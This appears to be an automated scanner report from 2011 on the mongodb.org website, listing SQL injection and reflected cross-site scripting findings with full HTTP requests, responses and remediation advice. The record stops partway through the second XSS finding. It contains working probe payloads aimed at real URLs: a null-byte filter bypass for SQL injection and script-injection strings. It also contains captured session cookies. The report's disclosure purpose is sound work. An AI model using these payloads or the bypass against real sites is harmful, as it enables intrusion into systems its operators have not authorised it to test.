XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, mongodb.org

Report generated by XSS.CX at Thu Nov 10 10:05:22 CST 2011.

Loading



1. SQL injection

1.1. http://www.mongodb.org/dosearchsite.action [queryString parameter]

1.2. http://www.mongodb.org/s/1627/3/1.0/_/download/batch/confluence.web.resources:print-styles/confluence.web.resources:print-styles.css [REST URL parameter 7]

1.3. http://www.mongodb.org/s/1627/3/1.0/_/download/batch/confluence.web.resources:print-styles/confluence.web.resources:print-styles.css [REST URL parameter 8]

1.4. http://www.mongodb.org/s/1627/3/140/_/styles/colors.css [spaceKey parameter]

1.5. http://www.mongodb.org/s/1627/3/140/_/styles/combined.css [spaceKey parameter]

1.6. http://www.mongodb.org/s/1627/3/140/_/styles/custom.css [spaceKey parameter]

1.7. http://www.mongodb.org/s/1627/3/3/_/styles/colors.css [spaceKey parameter]

1.8. http://www.mongodb.org/s/1627/3/3/_/styles/custom.css [spaceKey parameter]

2. Cross-site scripting (reflected)

2.1. http://www.mongodb.org/json/contentnamesearch.action [query parameter]

2.2. http://www.mongodb.org/s/1627/3/140/_/styles/combined.css [spaceKey parameter]

3. Session token in URL

3.1. http://www.mongodb.org/display/DOCS/Home

3.2. http://www.mongodb.org/display/DOCS/Source+Code

4. Cookie without HttpOnly flag set

4.1. http://www.mongodb.org/try/js/connection.js

4.2. http://www.mongodb.org/try/js/constants.js

4.3. http://www.mongodb.org/try/js/lib/collection.js

4.4. http://www.mongodb.org/try/js/lib/query.js

4.5. http://www.mongodb.org/try/js/mongo.js

4.6. http://www.mongodb.org/try/js/object_id.js

4.7. http://www.mongodb.org/try/js/shell_utils.js

4.8. http://www.mongodb.org/try/js/tokens.js

4.9. http://www.mongodb.org/try/js/utils.js

4.10. http://www.mongodb.org/

5. Referer-dependent response

6. Cross-domain Referer leakage

6.1. http://www.mongodb.org/dosearchsite.action

6.2. http://www.mongodb.org/s/1627/3/1.0/_/download/batch%27/confluence.web.resources:print-styles/confluence.web.resources:print-styles.css

7. Cross-domain script include

7.1. http://www.mongodb.org/

7.2. http://www.mongodb.org/display/DOCS/Home

7.3. http://www.mongodb.org/display/DOCS/Source+Code

8. TRACE method is enabled

9. Email addresses disclosed

9.1. http://www.mongodb.org/display/DOCS/Home

9.2. http://www.mongodb.org/s/1627/3/1.0.2/_/download/batch/com.atlassian.auiplugin:jquery-base/com.atlassian.auiplugin:jquery-base.js

9.3. http://www.mongodb.org/s/1627/3/1.0/_/download/batch/confluence.web.resources:prototype/confluence.web.resources:prototype.js

10. Content type incorrectly stated

10.1. http://www.mongodb.org/json/contentnamesearch.action

10.2. http://www.mongodb.org/plugins/pagetree/naturalchildren.action

10.3. http://www.mongodb.org/try/js/lib/query.js



1. SQL injection  next
There are 8 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://www.mongodb.org/dosearchsite.action [queryString parameter]  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /dosearchsite.action

Issue detail

The queryString parameter appears to be vulnerable to SQL injection attacks. The payload %00' was submitted in the queryString parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /dosearchsite.action?queryString=sql+stored+proc+trigger+function%00'&where=DOCS HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/display/DOCS/Source+Code
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.4.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02

Response

HTTP/1.1 500 Internal Server Error
Vary: Accept-Encoding
Content-Type: text/html;charset=ISO-8859-1
Date: Wed, 09 Nov 2011 13:04:42 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF
...[SNIP]...
org.springframework.dao.DataIntegrityViolationException: Hibernate operation: Could not execute query; SQL []; ERROR: invalid byte sequence for encoding &quot;UTF8&quot;: 0x00; nested exception is org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding &quot;UTF8&quot;: 0x00 at /search/searchpanel.vm[line 46, column 14]<br>
...[SNIP]...

1.2. http://www.mongodb.org/s/1627/3/1.0/_/download/batch/confluence.web.resources:print-styles/confluence.web.resources:print-styles.css [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /s/1627/3/1.0/_/download/batch/confluence.web.resources:print-styles/confluence.web.resources:print-styles.css

Issue detail

The REST URL parameter 7 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 7, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /s/1627/3/1.0/_/download/batch'/confluence.web.resources:print-styles/confluence.web.resources:print-styles.css?media=print HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/display/DOCS/Home
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.1.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02

Response

HTTP/1.1 500 Internal Server Error
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: text/html;charset=ISO-8859-1
Date: Wed, 09 Nov 2011 13:03:52 GMT
Connection: close
X-xgen-cache: yes
X-Cache-Info: not cacheable; response code not cacheable


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF
...[SNIP]...
<br>

Database Dialect: net.sf.hibernate.dialect.PostgreSQLDialect<br>
...[SNIP]...

1.3. http://www.mongodb.org/s/1627/3/1.0/_/download/batch/confluence.web.resources:print-styles/confluence.web.resources:print-styles.css [REST URL parameter 8]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /s/1627/3/1.0/_/download/batch/confluence.web.resources:print-styles/confluence.web.resources:print-styles.css

Issue detail

The REST URL parameter 8 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 8, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /s/1627/3/1.0/_/download/batch/confluence.web.resources:print-styles'/confluence.web.resources:print-styles.css?media=print HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/display/DOCS/Home
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.1.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02

Response

HTTP/1.1 500 Internal Server Error
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: text/html;charset=ISO-8859-1
Date: Wed, 09 Nov 2011 13:03:54 GMT
Connection: close
X-xgen-cache: yes
X-Cache-Info: not cacheable; response code not cacheable


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF
...[SNIP]...
<br>

Database Dialect: net.sf.hibernate.dialect.PostgreSQLDialect<br>
...[SNIP]...

1.4. http://www.mongodb.org/s/1627/3/140/_/styles/colors.css [spaceKey parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /s/1627/3/140/_/styles/colors.css

Issue detail

The spaceKey parameter appears to be vulnerable to SQL injection attacks. The payload %00' was submitted in the spaceKey parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /s/1627/3/140/_/styles/colors.css?spaceKey=DOCS%00' HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/s/1627/3/140/_/styles/combined.css?spaceKey=DOCS
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.1.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02

Response

HTTP/1.1 500 Internal Server Error
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: text/html; charset=UTF-8
Date: Wed, 09 Nov 2011 13:03:29 GMT
Connection: close
X-xgen-cache: yes
X-Cache-Info: not cacheable; response code not cacheable


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF
...[SNIP]...
org.springframework.dao.DataIntegrityViolationException: Hibernate operation: Could not execute query; SQL []; ERROR: invalid byte sequence for encoding &quot;UTF8&quot;: 0x00; nested exception is org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding &quot;UTF8&quot;: 0x00<br>
...[SNIP]...

1.5. http://www.mongodb.org/s/1627/3/140/_/styles/combined.css [spaceKey parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /s/1627/3/140/_/styles/combined.css

Issue detail

The spaceKey parameter appears to be vulnerable to SQL injection attacks. The payload %00' was submitted in the spaceKey parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /s/1627/3/140/_/styles/combined.css?spaceKey=DOCS%00' HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/display/DOCS/Home
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.1.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02

Response

HTTP/1.1 500 Internal Server Error
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: text/html;charset=utf-8
Date: Wed, 09 Nov 2011 13:03:29 GMT
Connection: close
X-xgen-cache: yes
X-Cache-Info: not cacheable; response code not cacheable

<html><head><title>Apache Tomcat/5.5.20 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans
...[SNIP]...
org.springframework.dao.DataIntegrityViolationException: Hibernate operation: Could not execute query; SQL []; ERROR: invalid byte sequence for encoding &quot;UTF8&quot;: 0x00; nested exception is org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding &quot;UTF8&quot;: 0x00
   org.springframework.jdbc.support.SQLStateSQLExceptionTranslator.translate(SQLStateSQLExceptionTranslator.java:110)
...[SNIP]...

1.6. http://www.mongodb.org/s/1627/3/140/_/styles/custom.css [spaceKey parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /s/1627/3/140/_/styles/custom.css

Issue detail

The spaceKey parameter appears to be vulnerable to SQL injection attacks. The payload %00' was submitted in the spaceKey parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /s/1627/3/140/_/styles/custom.css?spaceKey=DOCS%00' HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/s/1627/3/140/_/styles/combined.css?spaceKey=DOCS
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.1.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02

Response

HTTP/1.1 500 Internal Server Error
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: text/html; charset=UTF-8
Date: Wed, 09 Nov 2011 13:03:31 GMT
Connection: close
X-xgen-cache: yes
X-Cache-Info: not cacheable; response code not cacheable


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF
...[SNIP]...
org.springframework.dao.DataIntegrityViolationException: Hibernate operation: Could not execute query; SQL []; ERROR: invalid byte sequence for encoding &quot;UTF8&quot;: 0x00; nested exception is org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding &quot;UTF8&quot;: 0x00<br>
...[SNIP]...

1.7. http://www.mongodb.org/s/1627/3/3/_/styles/colors.css [spaceKey parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /s/1627/3/3/_/styles/colors.css

Issue detail

The spaceKey parameter appears to be vulnerable to SQL injection attacks. The payload %00' was submitted in the spaceKey parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /s/1627/3/3/_/styles/colors.css?spaceKey=%00' HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/s/1627/3/3/_/styles/combined.css
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.4.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02

Response

HTTP/1.1 500 Internal Server Error
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: text/html; charset=UTF-8
Date: Wed, 09 Nov 2011 13:03:58 GMT
Connection: close
X-xgen-cache: yes
X-Cache-Info: not cacheable; response code not cacheable


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF
...[SNIP]...
org.springframework.dao.DataIntegrityViolationException: Hibernate operation: Could not execute query; SQL []; ERROR: invalid byte sequence for encoding &quot;UTF8&quot;: 0x00; nested exception is org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding &quot;UTF8&quot;: 0x00<br>
...[SNIP]...

1.8. http://www.mongodb.org/s/1627/3/3/_/styles/custom.css [spaceKey parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /s/1627/3/3/_/styles/custom.css

Issue detail

The spaceKey parameter appears to be vulnerable to SQL injection attacks. The payload %00' was submitted in the spaceKey parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /s/1627/3/3/_/styles/custom.css?spaceKey=%00' HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/s/1627/3/3/_/styles/combined.css
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.4.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02

Response

HTTP/1.1 500 Internal Server Error
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: text/html; charset=UTF-8
Date: Wed, 09 Nov 2011 13:03:57 GMT
Connection: close
X-xgen-cache: yes
X-Cache-Info: not cacheable; response code not cacheable


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF
...[SNIP]...
org.springframework.dao.DataIntegrityViolationException: Hibernate operation: Could not execute query; SQL []; ERROR: invalid byte sequence for encoding &quot;UTF8&quot;: 0x00; nested exception is org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding &quot;UTF8&quot;: 0x00<br>
...[SNIP]...

2. Cross-site scripting (reflected)  previous  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://www.mongodb.org/json/contentnamesearch.action [query parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mongodb.org
Path:   /json/contentnamesearch.action

Issue detail

The value of the query request parameter is copied into the HTML document as plain text between tags. The payload bc92f<img%20src%3da%20onerror%3dalert(1)>204bb8686be was submitted in the query parameter. This input was echoed as bc92f<img src=a onerror=alert(1)>204bb8686be in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /json/contentnamesearch.action?query=sqbc92f<img%20src%3da%20onerror%3dalert(1)>204bb8686be HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.mongodb.org/display/DOCS/Source+Code
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.4.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02

Response

HTTP/1.1 200 OK
Date: Wed, 09 Nov 2011 13:03:51 GMT
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1320843831088
Vary: User-Agent
Content-Type: application/javascript;charset=UTF-8
Content-Length: 442

{"queryTokens":["sqbc92f","img","src","a","onerror","alert","1","204bb8686be"],"contentNameMatches":[[{"icon":null,"spaceName":null,"name":"Search for &lsquo;sqbc92f&lt;img src=a onerror=alert(1)&gt;204bb8686be&rsquo;","spaceKey":null,"className":"search-for","href":"/dosearchsite.action?queryString=sqbc92f%3Cimg+src%3Da+onerror%3Dalert%281%29%3E204bb8686be"}]],"query":"sqbc92f<img src=a onerror=alert(1)>204bb8686be","statusMessage":null}

2.2. http://www.mongodb.org/s/1627/3/140/_/styles/combined.css [spaceKey parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mongodb.org
Path:   /s/1627/3/140/_/styles/combined.css

Issue detail

The value of the spaceKey request parameter is copied into the HTML document as plain text between tags. The payload ee2fc<script>alert(1)</script>34ff8fd4c03 was submitted in the spaceKey parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /s/1627/3/140/_/styles/combined.css?spaceKey=DOCSee2fc<script>alert(1)</script>34ff8fd4c03 HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/display/DOCS/Home
